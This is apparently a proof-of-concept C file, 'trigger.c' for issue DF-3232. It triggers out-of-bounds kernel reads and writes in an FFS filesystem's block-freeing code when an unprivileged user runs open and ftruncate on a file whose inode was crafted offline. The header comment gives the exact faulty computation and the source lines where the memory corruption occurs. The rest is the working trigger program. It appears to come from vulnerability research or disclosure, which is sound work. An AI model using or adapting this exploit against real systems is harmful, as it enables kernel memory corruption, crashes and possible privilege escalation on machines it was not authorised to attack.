DF-3232 / trigger.c
/* * trigger.c — DF-3232 unprivileged trigger. * * open() + ftruncate(0) on a file whose (offline-patched) inode points * di_db[0] at a high fragment number B inside cylinder group 0 of a * mounted filesystem whose superblock has fs_fragshift = 0 (fs_frag * stays 8, so ffs_subr.c's switch() stays happy). * * ffs_truncate() -> ffs_blkfree_cg() (ffs_alloc.c:1534-1544): * blkno = fragstoblks(fs, B) = B >> 0 = B (8x too large) * ffs_isfreeblock(fs, blksfree, B) <- OOB READ ffs_subr.c:250 * ffs_setblock (fs, blksfree, B) <- OOB WRITE ffs_subr.c:294 * with B far past the fpg/fs_frag-byte bitmap and past the cg buffer. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { int fd; if (argc < 2) { fprintf(stderr, "usage: trigger <file>\n"); return (2); } printf("[*] trigger: uid=%d file=%s (open+ftruncate(0)+sync)\n", getuid(), argv[1]); fflush(stdout); fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (ftruncate(fd, 0) < 0) perror("ftruncate"); close(fd); sync(); printf("[*] survived ftruncate+sync\n"); fflush(stdout); return (0); } |